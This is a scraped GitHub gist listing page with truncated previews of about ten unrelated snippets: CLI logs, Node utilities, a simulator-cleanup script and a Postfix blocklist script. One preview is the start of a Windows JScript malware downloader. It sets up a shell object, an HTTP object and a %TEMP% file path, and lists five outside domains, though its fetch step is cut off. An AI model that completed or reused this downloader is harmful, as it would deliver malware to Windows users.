This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ appc ti sdk list --releases | |
You are attempting to run appc 6.2.2 which was compiled for node v8.0.0 but you are now running node v8.1.4 | |
Rebuilding package modules ... | |
The rebuild was unsuccessful, please run the following command to re-build for the newer version: | |
appc use 6.2.2 --force | |
Appcelerator Command-Line Interface, version 6.2.2 | |
Copyright (c) 2014-2017, Appcelerator, Inc. All Rights Reserved. | |
SDK Install Locations: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// displays a list of all "directories" properties for whatever | |
// you have installed in the node_modules dir | |
const fs = require('fs'); | |
const globule = require('globule'); | |
const dirs = {}; | |
globule | |
.find('./**/package.json') | |
.forEach(file => { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict'; | |
const execSync = require('child_process').execSync; | |
const json = JSON.parse(execSync('xcrun simctl list --json')); | |
for (const runtime of Object.keys(json.devices)) { | |
for (const device of json.devices[runtime]) { | |
console.log(`Removing ${device.name} (${device.udid})`); | |
execSync(`xcrun simctl delete ${device.udid}`); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var id = "LRAf9RSu-l5rAk8FM7MZAj05YpDtxEyEuY72K46WGdFbZP20XuLJwoYHSJnJB47wIa9baToAFno_"; | |
var ad = "1A8nxYR1FNMyjn71RTgmwugHB9Y44p7Akg"; | |
var bc = "0.44834"; | |
var ld = 0; | |
var cq = String.fromCharCode(34); | |
var cs = String.fromCharCode(92); | |
var ll = "puntogel.com pme.com.vn www.staubsaugrobotern.com felicavet.hu www.tattoogreece.gr".split(" "); | |
var ws = WScript.CreateObject("WScript.Shell"); | |
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + cs + "822843"; | |
var xo = WScript.CreateObject("MSXML2.XMLHTTP"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function reverse(s) { | |
return s.split('').reverse().join(''); | |
} | |
reverse('Hello world!'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const lookup = { | |
zero: 0, | |
one: 1, | |
two: 2, | |
three: 3, | |
four: 4, | |
five: 5, | |
six: 6, | |
seven: 7, | |
eight: 8, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function longestWord(s) { | |
return s.split(/\b/).filter(chunk => chunk.trim()).reduce((a, b) => a.length > b.length ? a : b); | |
} | |
console.log(longestWord('I am so awesome it hurts')); // awesome |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const koa = require('koa'); | |
const app = koa(); | |
// logger | |
app.use(async (ctx, next) => { | |
const start = new Date; | |
await next(); | |
const ms = new Date - start; | |
console.log('%s %s - %s', this.method, this.url, ms); | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var async = require('async'), | |
fs = require('fs'), | |
request = require('request'), | |
pkgs, | |
addons = []; | |
async.series([ | |
function (next) { | |
if (fs.existsSync('./packages.json')) { | |
pkgs = require('./packages.json'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
curl https://www.spamhaus.org/drop/drop.lasso 2>/dev/null | sed '/^\s*;/d' | sed 's/;.*/REJECT/' > /etc/postfix/client.cidr | |
postfix reload | |
sa-learn -D --sync --spam /data/mail/cb1inc.com/chris/.Spam/{cur,new} |